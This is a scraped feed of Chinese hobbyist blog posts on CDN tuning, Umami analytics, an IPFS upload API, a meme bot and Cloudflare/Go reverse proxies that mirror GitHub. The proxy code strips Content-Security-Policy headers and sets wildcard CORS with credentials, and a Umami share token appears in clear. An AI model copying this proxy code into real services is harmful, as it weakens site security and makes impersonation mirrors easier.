101.33.222.0/24 101.42.63.0/24 101.71.100.0/23 101.71.105.0/24 101.72.227.0/24 111.12.215.0/24 111.20.28.0/23 111.20.30.0/24 111.22.252.0/24 111.29.14.0/24 111.31.238.0/24 111.4.224.0/23 111.42.114.0/24 111.51.158.0/24 111.6.217.0/24 111.6.218.0/24 111.62.160.0/24 112.13.210.0/24 112.29.209.0/24 112.46.51.0/24 112.49.30.0/23 112.49.69.0/24 112.64.213.0/24 112.84.131.0/24 112.90.154.0/24 113.125.206.0/24 113.142.27.0/24 113.194.51.0/24 113.200.123.0/24 113.201.154.0/24 113.201.158.0/24 113.219.202.0/23 113.240.66.0/24 113.240.91.0/24 113.59.44.0/24 114.230.198.0/24 114.237.67.0/24 114.66.246.0/23 114.66.250.0/24 115.150.39.0/24 116.136.15.0/24 116.153.83.0/24 116.153.84.0/23 116.162.152.0/23 116.169.184.0/24 116.172.74.0/24 116.177.240.0/24 116.178.78.0/24 116.196.152.0/23 116.207.184.0/24 116.253.60.0/24 117.139.140.0/24 117.147.229.0/24 117.147.230.0/23 117.161.38.0/24 117.161.86.0/24 117.162.50.0/23 117.162.61.0/24 117.163.59.0/24 117.187.145.0/24 117.40.82.0/24 117.44.77.0/24 117.69.71.0/24 117.85.64.0/23 117.85.66.0/24 119.188.140.0/24 119.188.209.0/24 119.36.225.0/24 119.84.242.0/24 119.91.175.0/24 120.221.164.0/24 120.221.181.0/24 120.221.238.0/24 120.226.27.0/24 120.232.126.0/24 120.232.97.0/24 120.233.185.0/24 120.233.186.0/23 120.233.43.0/24 120.240.100.0/24 120.240.94.0/24 122.192.132.0/24 122.246.0.0/24 122.246.30.0/23 123.125.3.0/24 123.138.25.0/24 123.172.121.0/24 123.182.162.0/24 123.6.40.0/24 124.225.117.0/24 124.225.161.0/24 124.225.72.0/24 124.238.112.0/24 124.72.128.0/24 125.76.83.0/24 125.94.247.0/24 125.94.248.0/23 14.116.174.0/24 14.205.93.0/24 150.139.230.0/24 175.43.193.0/24 175.6.193.0/24 182.140.210.0/24 182.247.248.0/24 183.131.59.0/24 183.136.219.0/24 183.192.184.0/24 183.201.109.0/24 183.201.110.0/24 183.230.68.0/24 183.253.58.0/24 183.255.104.0/24 183.47.119.128/25 183.61.174.0/24 211.136.106.0/24 211.97.84.0/24 219.144.88.0/23 219.144.90.0/24 220.197.201.0/24 221.204.26.0/23 221.5.96.0/23 222.189.172.0/24 222.79.116.0/23 222.79.126.0/24 222.94.224.0/23 223.109.0.0/23 223.109.2.0/24 223.109.210.0/24 223.113.137.0/24 223.221.177.0/24 223.247.117.0/24 27.44.206.0/24 36.131.221.0/24 36.142.6.0/24 36.147.58.0/23 36.150.103.0/24 36.150.72.0/24 36.158.202.0/24 36.158.253.0/24 36.159.70.0/24 36.189.11.0/24 36.248.57.0/24 36.249.64.0/24 36.250.235.0/24 36.250.238.0/24 36.250.5.0/24 36.250.8.0/24 39.173.183.0/24 42.177.83.0/24 42.202.164.0/24 42.202.170.0/24 43.136.126.0/24 43.137.230.0/23 43.137.87.0/24 43.137.88.0/22 43.138.125.0/24 43.141.10.0/23 43.141.109.0/24 43.141.110.0/24 43.141.131.0/24 43.141.132.0/24 43.141.49.0/24 43.141.50.0/24 43.141.52.0/24 43.141.68.0/23 43.141.70.0/24 43.141.9.0/24 43.141.99.0/24 43.142.196.0/24 43.142.205.0/24 43.145.16.0/22 43.145.44.0/23 49.119.123.0/24 49.7.250.128/25 58.144.195.0/24 58.212.47.0/24 58.217.176.0/22 58.222.36.0/24 58.250.127.0/24 58.251.127.0/24 58.251.87.0/24 59.55.137.0/24 59.83.206.0/24 60.28.220.0/24 61.161.0.0/24 61.170.82.0/24 61.240.216.0/24 61.240.220.0/24 61.241.148.0/24 61.49.23.0/24 81.71.192.0/23 101.33.0.0/19 162.14.40.0/21 43.132.64.0/19 43.152.0.0/18 43.152.128.0/18 43.159.64.0/18 107.155.58.0/24 110.238.81.0/24 110.238.84.0/24 116.103.105.0/24 116.103.106.0/24 116.206.195.0/24 119.160.60.0/24 128.1.102.0/24 128.1.106.0/24 128.14.246.0/24 129.227.189.0/24 129.227.213.0/24 129.227.246.0/24 13.244.60.0/24 13.246.171.0/24 13.246.201.0/24 15.220.184.0/24 15.220.187.0/24 150.109.190.0/23 150.109.192.0/24 150.109.222.0/23 154.223.40.0/24 156.227.203.0/24 156.229.29.0/24 156.240.62.0/24 156.251.71.0/24 158.79.1.0/24 161.49.44.0/24 171.244.192.0/23 175.97.130.0/23 175.97.175.0/24 181.78.96.0/24 203.205.136.0/23 203.205.191.0/24 203.205.193.0/24 203.205.220.0/23 203.96.243.0/24 211.152.128.0/23 211.152.132.0/23 211.152.148.0/23 211.152.154.0/23 23.236.104.0/24 23.236.99.0/24 3.105.21.0/24 3.24.201.0/24 31.171.99.0/24 38.52.124.0/24 38.60.181.0/24 42.115.108.0/24 43.155.126.0/24 43.155.149.0/24 43.174.0.0/15 49.51.64.0/24 54.94.99.0/24 62.201.197.0/24 63.32.163.0/24 72.255.2.0/24 81.21.9.0/24 84.54.102.0/24 86.51.92.0/24 </code></pre> 调用脚本更新规则</h1> 最后 Review Changes</code> 并且 Publish</code> 即可 ITDog测试</h1> 大部分测试节点已经403 有什么用？</h1> 纯好玩纯闲着没事干汐汐有空点下这</a>来加群或者下方评论吧！ 让你的网站对接高级的Umami统计！ 2025-07-06T00:00:00+00:00 本教程针对于Umami Cloud的上手使用，如果你需要自托管Umami请自行寻找相关文档 </blockquote> 进入 https://umami.is/ （如果进不去请检查是否有广告拦截器拦截了Umami！！！） 点击右上角的 Sign UP</code> 注册账号 按需填写相关信息进行注册 然后检查你的邮箱，是否收到了Umami的邮箱验证消息 点击 Login</code> 进行登录，填入验证码 区域选择任意（选美国你的统计数据就记录在美国的服务器，选欧盟你的统计数据就记录在欧盟的服务器） 用户配置随便填写即可 继续填写你要统计的网站 将跟踪代码插入到你的网站的 <head>Umami跟踪代码</head></code> 中 然后我们就进入Umami控制台了 点击 View</code> 就能看到你的网站统计啦 注：右上角可以改为中文 建议打开设置启用分享URL，这样你的用户就可以实时看到你的站点流量啦 注意事项</h1> Umami Cloud对于免费用户限制3个站点 免费版月事件数为10w，本人博客感觉不够用，已经自建了，教程可以看我b站，没有就是没发来拷打我</del> 分享一个IPFS图片API 2025-07-04T00:00:00+00:00 该API为xLog</a>的图床API </blockquote> POST https://ipfs-relay.crossbell.io/upload 头无鉴权 body使用 from-data</code> ，key为 file</code> vlaue选择一个图片文件，不宜太大，会报错 示例Curl curl --location 'https://ipfs-relay.crossbell.io/upload' \ --form 'file=@"/C:/Users/AcoFork/Pictures/b_53bb4f7fa91d684e72b666504e3fcc1897.jpg"' </code></pre> 会返回 { "status": "ok", "cid": "QmVHG3KdGs3M8otdqjZEei6AzWt1usWRP6UmfLMbEub5nc", "url": "ipfs://QmVHG3KdGs3M8otdqjZEei6AzWt1usWRP6UmfLMbEub5nc", "web2url": "https://ipfs.crossbell.io/ipfs/QmVHG3KdGs3M8otdqjZEei6AzWt1usWRP6UmfLMbEub5nc", "fileSize": "77199", "gnfd_id": null, "gnfd_txn": null } </code></pre> 其中， web2url</code> 就是可以直接访问的URL，无CORS限制 测评一下SecBit MCDN HK区域的质量 2025-07-02T00:00:00+00:00 https://secbit.ai 测试节点信息</h1> 安徽合肥移动家宽（本人电脑） PostMan GET测试</h1> 测试Cloudflare R2默认的404页面HTML需要多长时间可以接收到 直连Cloudflare R2</h2> Secbit回源Cloudflare R2</h2> ITDog Tcping测试</h1> 直连Cloudflare R2</h2> Secbit回源Cloudflare R2</h2> ITDog 网站测速</h1> 直连Cloudflare R2</h2> Secbit回源Cloudflare R2</h2> 大文件下载</h1> 直连Cloudflare R2</h2> Secbit回源Cloudflare R2</h2> 总结</h1> Secbit相较于Cloudflare对于大陆直连更为友好，延迟更低、带宽更大。唯一的缺点就是直接买很贵，也建议大家可以多多写博客，网站月ip达到3k可以看置顶文章加群联系我帮你申请，争取早日拿到属于你们的Secbit😋 meme-generator部署指南以及对接Koishi 2025-06-30T00:00:00+00:00 视频教程： https://www.bilibili.com/video/BV1i53PzUEzE/ 后端部署</h2> Github： https://github.com/MemeCrafters/meme-generator </blockquote> 安装依赖 pip install -U "meme_generator<0.2.0" </code></pre> 克隆仓库 git clone https://github.com/MemeCrafters/meme-generator </code></pre> 克隆额外表情仓库 git clone https://github.com/MemeCrafters/meme-generator-contrib git clone https://github.com/anyliew/meme_emoji </code></pre> 前往 ~/.config/meme_generator/config.toml</code> 填入配置文件。并且填入刚刚克隆的额外表情仓库： meme_dirs</code> [meme] load_builtin_memes = true # 是否加载内置表情包 meme_dirs = ["/root/meme-api/meme-generator-contrib/memes", "/root/meme-api/meme_emoji/emoji"] # 加载其他位置的表情包，填写文件夹路径 meme_disabled_list = [] # 禁用的表情包列表，填写表情的 `key` [resource] # 下载内置表情包图片时的资源链接，下载时选择最快的站点 resource_urls = [ "https://raw.githubusercontent.com/MemeCrafters/meme-generator/", "https://mirror.ghproxy.com/https://raw.githubusercontent.com/MemeCrafters/meme-generator/", "https://cdn.jsdelivr.net/gh/MemeCrafters/meme-generator@", "https://fastly.jsdelivr.net/gh/MemeCrafters/meme-generator@", "https://raw.gitmirror.com/MemeCrafters/meme-generator/", ] [gif] gif_max_size = 10.0 # 限制生成的 gif 文件大小，单位为 Mb gif_max_frames = 100 # 限制生成的 gif 文件帧数 [translate] baidu_trans_appid = "" # 百度翻译api相关，表情包 `dianzhongdian` 需要使用 baidu_trans_apikey = "" # 可在百度翻译开放平台 (http://api.fanyi.baidu.com) 申请 [server] host = "127.0.0.1" # web server 监听地址 port = 2233 # web server 端口 [log] log_level = "INFO" # 日志等级 </code></pre> 运行 python -m meme_generator.app </code></pre> 看到以下日志即运行成功 root@AcoFork-NAS:~/meme-api/meme-generator# python3 -m meme_generator.app Fontconfig warning: "/usr/share/fontconfig/conf.avail/05-reset-dirs-sample.conf", line 6: unknown element "reset-dirs" 06-30 05:32:45 [INFO] meme_generator.log | Config file path: /root/.config/meme_generator/config.toml 06-30 05:32:48 [INFO] logging | Started server process [3363901] 06-30 05:32:48 [INFO] logging | Waiting for application startup. 06-30 05:32:48 [INFO] logging | Application startup complete. 06-30 05:32:48 [INFO] logging | Uvicorn running on http://127.0.0.1:2233 (Press CTRL+C to quit) </code></pre> 前端对接</h2> Koishi插件市场安装此插件的1.0.3版本 启用插件。可以看到插件初始化完毕，共载入 455 个表情。</code> 使用</h2> 向Bot发送表情列表</code> 生成表情 EdgeOne + Cloudflare，我们天下无敌！ 2025-06-27T00:00:00+00:00 主播也是搞到了EdgeOne免费版激活码了，终于可以大展宏图了😋 我怎么换到EdgeOne免费版？</h1> 前往腾讯云EdgeOne免费计划兑换码 - 立即体验</a> 推荐直接发推，按照要求发 发完后私信EO官方即可 默认EdgeOne给的Anycast CNAME过于垃圾？</h1> 默认在EO添加域名EO会发给你一个类似 afo.im.eo.dnse4.com</code> 这样的CNAME 也就是你的域名.eo.dnse4.com</code> emm 这玩意吧你们自己看速度吧 我推荐大家使用 43.174.150.150</code> 。是一个中国香港的三网优化IP。速度如下。本人EdgeOne优选： eo.072103.xyz</code> 换了CNAME后无法自动申请免费SSL？</h1> 如果你将你的域名托管给EO并且没有用EO给你的CNAME，则这个选项不可用 我推荐采用1panel、宝塔、acme.sh手动申请泛域名证书然后上传到腾讯云SSL控制台，就像这样 EdgeOne怎么做重定向？</h1> 在这里 EO边缘函数也支持重定向，支持更细化的重定向规则 但是这玩意记录请求数，不如用Cloudflare的重定向规则 首先我们在CF写这样一个规则 然后让EO回源到CF边缘节点。最简单就是随便填个IP然后套CDN 接着配置EO回源，这里一定要使用加速域名作为回源Host头 原理：用户 - EO - CF - CF识别到Host匹配重定向规则 - 301 EdgeOne反代一切？</h1> 大部分情况将回源HOST头</code> 改为源站就能解决反代后网站无法访问的问题 </blockquote> 试试Cloudflare IP优选！让Cloudflare在国内再也不是减速器！ 2025-06-24T00:00:00+00:00 未优选</h4> 已优选</h4> 结论：可见，优选过的网站响应速度有很大提升，并且出口IP也变多了。这能让你的网站可用性大大提高，并且加载速度显著变快。 Cloudflare 优选域名：记录 - AcoFork Blog</a> Worker路由反代全球并优选（新）</h1> 本方法的原理为通过Worker反代你的源站，然后将Worker的入口节点进行优选。此方法不是传统的优选，源站接收到的Hosts头仍然是直接指向源站的解析 以下代码是原Github全站反代代码的二改以实现Worker路由接入优选，可能有多余逻辑或者不完全适配于优选需求 </blockquote> 创建一个Cloudflare Worker，写入代码 // 域名前缀映射配置 const domain_mappings = { '源站.com': '最终访问头.', //例如： //'gitea.072103.xyz': 'gitea.', //则你设置Worker路由为gitea.*都将会反代到gitea.072103.xyz }; addEventListener('fetch', event => { event.respondWith(handleRequest(event.request)); }); async function handleRequest(request) { const url = new URL(request.url); const current_host = url.host; // 强制使用 HTTPS if (url.protocol === 'http:') { url.protocol = 'https:'; return Response.redirect(url.href, 301); } const host_prefix = getProxyPrefix(current_host); if (!host_prefix) { return new Response('Proxy prefix not matched', { status: 404 }); } // 查找对应目标域名 let target_host = null; for (const [origin_domain, prefix] of Object.entries(domain_mappings)) { if (host_prefix === prefix) { target_host = origin_domain; break; } } if (!target_host) { return new Response('No matching target host for prefix', { status: 404 }); } // 构造目标 URL const new_url = new URL(request.url); new_url.protocol = 'https:'; new_url.host = target_host; // 创建新请求 const new_headers = new Headers(request.headers); new_headers.set('Host', target_host); new_headers.set('Referer', new_url.href); try { const response = await fetch(new_url.href, { method: request.method, headers: new_headers, body: request.method !== 'GET' && request.method !== 'HEAD' ? request.body : undefined, redirect: 'manual' }); // 复制响应头并添加CORS const response_headers = new Headers(response.headers); response_headers.set('access-control-allow-origin', '*'); response_headers.set('access-control-allow-credentials', 'true'); response_headers.set('cache-control', 'public, max-age=600'); response_headers.delete('content-security-policy'); response_headers.delete('content-security-policy-report-only'); return new Response(response.body, { status: response.status, statusText: response.statusText, headers: response_headers }); } catch (err) { return new Response(`Proxy Error: ${err.message}`, { status: 502 }); } } function getProxyPrefix(hostname) { for (const prefix of Object.values(domain_mappings)) { if (hostname.startsWith(prefix)) { return prefix; } } return null; } </code></pre> 创建路由 类似这样填写 最后写一条DNS解析 CNAME gitea.afo.im --> 社区优选域名，如 cf.090227.xyz</code> 即可 针对于A、AAAA、CNAME（SaaS接入）</h1> 我们需要两个域名（比如：onani.cn和acofork.cn）。 如果在同一CF账号下不可用，请尝试将俩域名放置在不同账号 </blockquote> 这里我们让onani.cn成为主力域名，让acofork.cn成为辅助域名 首先新建一个DNS解析，指向你的源站，开启cf代理 </li> 前往辅助域名的 SSL/TLS -> 自定义主机名。设置回退源为你刚才的DNS解析的域名（xlog.acofork.cn） </li> 点击添加自定义主机名。设置一个自定义主机名，比如 onani.cn</code> ，然后选择自定义源服务器，填写第一步的域名，即 xlog.acofork.cn</code> 。 如果你想要创建多个优选也就这样添加，一个自定义主机名对应一个自定义源服务器。如果你将源服务器设为默认，则源服务器是回退源指定的服务器，即 xlog.acofork.cn</code> </li> 继续在你的辅助域名添加一条解析。CNAME到优选节点：cloudflare.182682.xyz，不开启cf代理 </li> 最后在你的主力域名添加解析。域名为之前在辅助域名的自定义主机名（onani.cn），目标为刚才的cdn.acofork.cn，不开启cf代理 </li> 优选完毕，尝试访问 </li> （可选）你也可以将cdn子域的NS服务器更改为阿里云\华为云\腾讯云云解析做线路分流解析 优选工作流：用户访问 -> 由于最终访问的域名设置了CNAME解析，所以实际上访问了cdn.acofork.cn，并且携带源主机名：onani.cn -> 到达cloudflare.182682.xyz进行优选 -> 优选结束，cf边缘节点识别到了携带的源主机名：onani.cn 查询发现了回退源 -> 回退到回退源内容（xlog.acofork.cn） -> 访问成功 </blockquote> </li> </ol> 针对于Cloudflare Page</h1> 你可以直接将你绑定到Page的子域名直接更改NS服务器到阿里云\华为云\腾讯云云解析做线路分流解析 </li> 将您的Page项目升级为Worker项目，使用下面的Worker优选方案（更简单）。详细方法见：【CF Page一键迁移到Worker？好处都有啥？-哔哩哔哩】 https://b23.tv/t5Bfaq1 </li> </ol> 针对于Cloudflare Workers</h1> 在Workers中添加路由，然后直接将你的路由域名从指向xxx.worker.dev</code>改为cloudflare.182682.xyz</code>等优选域名即可</li> </ol> 疑难解答</h3> Q：如果我的源站使用Cloudflare Tunnels A：需要在Tunnels添加两个规则，一个指向你的辅助域名，一个指向最终访问的域名。然后删除最终访问域名的DNS解析（但是不要直接在Tunnels删，会掉白名单，导致用户访问404）。然后跳过第一步 原理：假设你已经配置完毕，但是Cloudflare Tunnels只设置了一个规则。分类讨论，假如你设置的规则仅指向辅助域名，那么在优选的工作流中：用户访问 -> 由于最终访问的域名设置了CNAME解析，所以实际上访问了cdn.acofork.cn，并且携带源主机名：onani.cn -> 到达cloudflare.182682.xyz进行优选 -> 优选结束，cf边缘节点识别到了携带的源主机名：onani.cn 查询发现了回退源 -> 回退源检测源主机名：onani.cn不在白名单 -> 报错 404 Not Found。访问失败分类讨论，假如你设置的规则仅指向最终访问的域名，那么在优选的工作流中：用户访问 -> 由于最终访问的域名设置了CNAME解析，所以实际上访问了cdn.acofork.cn -> 由于cdn.acofork.cn不在Tunnels白名单，则访问失败 </blockquote> </li> </ol> Q：如果我的源站使用了Cloudflare Origin Rule（端口回源） A：需要将规则的生效主机名改为最终访问的域名，否则不触发回源策略（会导致辅助域名无法访问，建议使用Cloudflare Tunnels） 原理：假设你已经配置完毕，但是Cloudflare Origin Rule（端口回源）规则的生效主机名为辅助域名那么在优选的工作流中：用户访问 -> 由于最终访问的域名设置了CNAME解析，所以实际上访问了cdn.acofork.cn，并且携带源主机名：onani.cn -> 到达cloudflare.182682.xyz进行优选 -> 优选结束，cf边缘节点识别到了携带的源主机名：onani.cn 查询发现了回退源 -> 回退到回退源内容（xlog.acofork.cn）-> 但是由于源主机名：onani.cn不在Cloudflare Origin Rule（端口回源）的规则中 -> 无法触发回源策略，访问失败 </blockquote> </li> Q：如果我的源站使用serv00 A：需要在WWW Web Site界面添加两个规则，一个指向你的辅助域名，一个指向最终访问的域名。 原理：假设你已经配置完毕，但是serv00仅配置其中一个域名那么在优选的工作流中：会导致访问错误，serv00将会拦截不在白名单的域名请求 </blockquote> </li> </ol> 关于我折腾了一晚上 EdgeOne 2025-06-22T00:00:00+00:00 在我的早期文章</a>中提过EdgeOne，当时它还仅有Page业务，而且IP是很垃圾的新加坡，并且还会吞提交。故我当时给出了不如Cloudflare Page的评价 不过这玩意最近出了CDN业务，并且还是免费。所以我又重拾起来了 我要怎么用上？</h1> 浏览器访问： https://edgeone.ai 注册账号 或者看视频： https://www.bilibili.com/video/BV1KmNUzVEEL 关于EdgeOne CDN - 网站安全加速</h1> 以下言论仅适用于未备案用户 </blockquote> 需要搞免费版兑换码。或者直接买个人版后可用，需要外币卡。 通过创建加速区域全球可用区（不含中国大陆）</code> 。会分配给你一个类似 eo3-blog.afo.im.eo.dnse4.com</code> 这样的CNAME地址要求你做CNAME解析。IP很烂。可以直接做优选。 获取方式很简单，直接ITDOG PING edgeone.ai</code> 找个最快的IP直接写A解析（貌似国内的也可以🤔），如图。本人EdgeOne优选： eo.072103.xyz</code> 因为这玩意是一个CDN，需要一个源站。如果你是静态站点可以用Cloudflare Page部署一个站，然后设置回源如下（注意回源Hosts头要填写源站域名，否则CF可能会报423 Locked 他妈的比腾讯云的418我是个茶壶规范多了😅） 最后开启SSL，结束，享受它吧 关于EdgeOne Pages（新）</h1> 不用花钱，注册账号后即可用 不管你的加速区域在哪，都建议绑定自己的域名，否则可能出现访问401。含中国大陆的区域需要域名备案 以下言论仅适用于未备案用户 </blockquote> 通过创建加速区域全球可用区（不含中国大陆）</code> 。IP现在从新加坡Anycast改为了俩IP（如果按国内可用来算）43.175.44.57（中国香港。非移动延迟250ms+，移动延迟100ms-）， 43.132.85.153（日本东京。三网200ms左右）。比起之前的新加坡平均300ms的神奇IP好了很多 EdgeOne Pages无法优选。如果将EdgeOne Pages托管的域名指向非 edgeone.app</code> 解析出的IP。会报418（比如EdgeOne CDN节点IP） 默认时延情况，如图 以下言论仅适用于备案用户 </blockquote> 默认延迟50ms以下（中国大陆） 优选不能将IP指向EdgeOne CDN节点的IP，否则报418。 在VPS上部署一个自己的Github全站反代！ 2025-06-20T00:00:00+00:00 至今我仍在维护一个Github全站反代的服务，就是 https://gh.072103.xyz/afoim 。也跟大家谈过原理</a>。最近弄到了一个免费的VPS，就想着将Cloudflare Worker的反代移植到VPS上来 正式开始</h1> VPS安装Golang运行时 apt install golang </code></pre> 创建一个文件夹。放置 main.go</code> 源码如下 package main import ( "fmt" "io" "log" "net/http" "net/url" "regexp" "strings" "time" ) // 域名映射配置 var domainMappings = map[string]string{ "github.com": "gh.", "avatars.githubusercontent.com": "avatars-githubusercontent-com.", "github.githubassets.com": "github-githubassets-com.", "collector.github.com": "collector-github-com.", "api.github.com": "api-github-com.", "raw.githubusercontent.com": "raw-githubusercontent-com.", "gist.githubusercontent.com": "gist-githubusercontent-com.", "github.io": "github-io.", "assets-cdn.github.com": "assets-cdn-github-com.", "cdn.jsdelivr.net": "cdn.jsdelivr-net.", "securitylab.github.com": "securitylab-github-com.", "www.githubstatus.com": "www-githubstatus-com.", "npmjs.com": "npmjs-com.", "git-lfs.github.com": "git-lfs-github-com.", "githubusercontent.com": "githubusercontent-com.", "github.global.ssl.fastly.net": "github-global-ssl-fastly-net.", "api.npms.io": "api-npms-io.", "github.community": "github-community.", } // 需要重定向的路径 var redirectPaths = []string{"/", "/login", "/signup", "/copilot"} // 检查路径是否需要重定向 func shouldRedirect(path string) bool { for _, p := range redirectPaths { if path == p { return true } } return false } // 获取代理前缀 func getProxyPrefix(host string) string { if strings.HasPrefix(host, "gh.") { return "gh." } for _, prefix := range domainMappings { if strings.HasPrefix(host, prefix) { return prefix } } return "" } // 根据前缀获取目标域名 func getTargetHost(prefix string) string { for original, p := range domainMappings { if p == prefix { return original } } return "" } // 处理响应内容，替换域名引用 func modifyResponse(body []byte, contentType, hostPrefix, currentHostname string) []byte { // 只处理文本内容 if !strings.Contains(contentType, "text/") && !strings.Contains(contentType, "application/json") && !strings.Contains(contentType, "application/javascript") && !strings.Contains(contentType, "application/xml") { return body } text := string(body) // 获取当前域名的后缀部分 domainSuffix := currentHostname[len(hostPrefix):] // 替换所有域名引用 for originalDomain, proxyPrefix := range domainMappings { fullProxyDomain := proxyPrefix + domainSuffix // 替换完整URLs - 使用简单的字符串替换 text = strings.ReplaceAll(text, "https://"+originalDomain, "https://"+fullProxyDomain) text = strings.ReplaceAll(text, "http://"+originalDomain, "https://"+fullProxyDomain) // 替换协议相对URLs text = strings.ReplaceAll(text, "//"+originalDomain, "//"+fullProxyDomain) // 替换带引号的域名引用 text = strings.ReplaceAll(text, `"`+originalDomain+`"`, `"`+fullProxyDomain+`"`) text = strings.ReplaceAll(text, `'`+originalDomain+`'`, `'`+fullProxyDomain+`'`) } // 处理相对路径 - 使用简单的字符串替换 if hostPrefix == "gh." { // 替换引号内的相对路径 text = strings.ReplaceAll(text, `"/`, `"https://`+currentHostname+`/`) text = strings.ReplaceAll(text, `'/`, `'https://`+currentHostname+`/`) } return []byte(text) } // 处理请求 func handleRequest(w http.ResponseWriter, r *http.Request) { currentHost := r.Host // 检查特殊路径重定向 if shouldRedirect(r.URL.Path) { http.Redirect(w, r, "https://www.gov.cn", http.StatusFound) return } // 从当前主机名中提取前缀 hostPrefix := getProxyPrefix(currentHost) if hostPrefix == "" { http.Error(w, "Domain not configured for proxy", http.StatusNotFound) return } // 根据前缀找到对应的原始域名 targetHost := getTargetHost(hostPrefix) if targetHost == "" { http.Error(w, "Domain not configured for proxy", http.StatusNotFound) return } // 处理路径，修复嵌套URL问题 pathname := r.URL.Path // 修复特定的嵌套URL模式 // 处理 URL 编码的嵌套路径 re1 := regexp.MustCompile(`(/[^/]+/[^/]+/(?:latest-commit|tree-commit-info)/[^/]+)/https%3A//[^/]+.*`) pathname = re1.ReplaceAllString(pathname, "$1") // 处理未编码的嵌套路径 re2 := regexp.MustCompile(`(/[^/]+/[^/]+/(?:latest-commit|tree-commit-info)/[^/]+)/https://[^/]+.*`) pathname = re2.ReplaceAllString(pathname, "$1") // 处理简化的嵌套路径（如 /main/https:/domain/） re3 := regexp.MustCompile(`(/[^/]+/[^/]+/(?:latest-commit|tree-commit-info)/[^/]+)/https:/[^/]+.*`) pathname = re3.ReplaceAllString(pathname, "$1") // 构建目标URL targetURL := &url.URL{ Scheme: "https", Host: targetHost, Path: pathname, RawQuery: r.URL.RawQuery, } // 创建新的请求 req, err := http.NewRequest(r.Method, targetURL.String(), r.Body) if err != nil { http.Error(w, fmt.Sprintf("Failed to create request: %v", err), http.StatusInternalServerError) return } // 复制请求头 for key, values := range r.Header { for _, value := range values { req.Header.Add(key, value) } } // 设置必要的请求头 req.Header.Set("Host", targetHost) req.Header.Set("Referer", targetURL.String()) // 禁用压缩以避免编码问题 req.Header.Set("Accept-Encoding", "identity") // 创建HTTP客户端 client := &http.Client{ Timeout: 30 * time.Second, } // 发起请求 resp, err := client.Do(req) if err != nil { http.Error(w, fmt.Sprintf("Proxy Error: %v", err), http.StatusBadGateway) return } defer resp.Body.Close() // 读取响应体 body, err := io.ReadAll(resp.Body) if err != nil { http.Error(w, fmt.Sprintf("Failed to read response: %v", err), http.StatusInternalServerError) return } // 处理响应内容 contentType := resp.Header.Get("Content-Type") modifiedBody := modifyResponse(body, contentType, hostPrefix, currentHost) // 设置响应头（排除压缩相关头部） for key, values := range resp.Header { // 跳过压缩相关的头部，因为Go已经自动解压缩了内容 if key == "Content-Encoding" || key == "Content-Length" { continue } for _, value := range values { w.Header().Add(key, value) } } // 设置CORS和缓存头 w.Header().Set("Access-Control-Allow-Origin", "*") w.Header().Set("Access-Control-Allow-Credentials", "true") w.Header().Set("Cache-Control", "public, max-age=14400") w.Header().Del("Content-Security-Policy") w.Header().Del("Content-Security-Policy-Report-Only") w.Header().Del("Clear-Site-Data") // 设置正确的Content-Length w.Header().Set("Content-Length", fmt.Sprintf("%d", len(modifiedBody))) // 设置状态码 w.WriteHeader(resp.StatusCode) // 写入响应 w.Write(modifiedBody) } func main() { // 创建路由处理器 http.HandleFunc("/", handleRequest) // 启动服务器 port := ":8080" log.Printf("GitHub代理服务器启动在端口 %s", port) log.Printf("请确保你的域名已正确配置并指向此服务器") if err := http.ListenAndServe(port, nil); err != nil { log.Fatal("服务器启动失败:", err) } } </code></pre> 继续放置 go.mod</code> 。源码如下 module github-proxy go 1.19 </code></pre> 运行。默认跑在8080端口 go run . </code></pre> 输出以下日志即成功 root@localhost:~/go_proxy# go run . 2025/06/20 23:13:17 GitHub代理服务器启动在端口 :8080 2025/06/20 23:13:17 请确保你的域名已正确配置并指向此服务器 </code></pre> 使用Nginx或者OpenResty反向代理 localhost:8080</code> 。配置域名，格式为 gh.你的域名</code> 。我的配置如下 签发泛域名证书并且部署，配置完毕后如下 访问，现在你通过自己的域名+VPS代理访问Github。国内直连，无需梯子 静态博客也想展示文章浏览量？当然可以！ 2025-06-18T00:00:00+00:00 如果你用过WordPress，Halo等动态博客框架，你大概会在用户视角访问博文的时候看到浏览量这个信息。 这个原理很简单，因为动态博客依赖于一个VPS，只需要让用户每次访问的时候给浏览量+1即可。 那么如果我们是静态博客呢？ 我们可以依赖一些第三方服务，比如Umami Cloud</a>。在你的静态博客的head注入一个js，这样你就可以看到你的站点分析了，类似下图 现在我们确实可以看到每个文章（即/posts/xxx）的访问量了，但是我们要如何展示给用户呢？ 逆向Umami的只读页面！</h1> 感谢nightNya提供的方案，你是天才！ </blockquote> 首先我们启用分享URL 注意这里的 7PoDRgCzHFTs2vWB</code> ，每个站点都不一样 接着我们请求 https://us.umami.is/api/share/7PoDRgCzHFTs2vWB</code>，得到 { "websiteId": "a66a5fd4-98b0-4108-8606-cb7094f380ac", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3ZWJzaXRlSWQiOiJhNjZhNWZkNC05OGIwLTQxMDgtODYwNi1jYjcwOTRmMzgwYWMiLCJpYXQiOjE3NTA4MDIwMzB9.X5GQT5kslh6r25sFlap4Asz1NDA7mN3kcZW8wqbrnBc" } </code></pre> 再接着我们请求，携带请求头 x-umami-share-token</code> 值为上一步获得的Token https://us.umami.is/api/websites/a66a5fd4-98b0-4108-8606-cb7094f380ac/stats?startAt=0&endAt=1750805999999&unit=hour&timezone=Asia/Hong_Kong&url=/posts/cf-fastip/&compare=false</code> 这里解释几个关键Params，其他的照搬 startAt：统计开始时间。Unix时间戳，我们填写为0让Umami从1970年开始统计 </li> endAt：统计结束时间。Unix时间戳，我们可以使用 Date.now()</code> ，即当前时间，和startAt参数联动即可实现统计总浏览量 </li> url：要查询的路径，填写为你的文章页去除了Host的路径，如 /posts/hello</code> 。注意！Umami会将 /posts/hello</code> 和 /posts/hello/</code> 视为两个不同的路径，请注意你的博客框架是否使用 /</code> </li> </ul> 你会得到 { "pageviews": { "value": 1655, "prev": 0 }, "visitors": { "value": 343, "prev": 0 }, "visits": { "value": 411, "prev": 0 }, "bounces": { "value": 183, "prev": 0 }, "totaltime": { "value": 30592, "prev": 0 } } </code></pre> pageviews.vlaue</code> 即浏览量。 visits.value</code> 即访问次数。 Tips：浏览量记录为任意用户只要访问了则计数一次。而访问数记录不会记录单IP多次重复访问和同一时间段的多次请求不同页面 </blockquote> Enjoy it！ 最终效果： AI写不出优质的代码？其实是你引导错了！ 2025-06-17T00:00:00+00:00 先搞清楚你自己具体的需求。比如代码用什么语言编写？用什么技术栈？要具体实现什么功能？应用的场景是什么？是前端、后端还是全栈等等 逻辑清晰，简洁干练地表述你的需求。 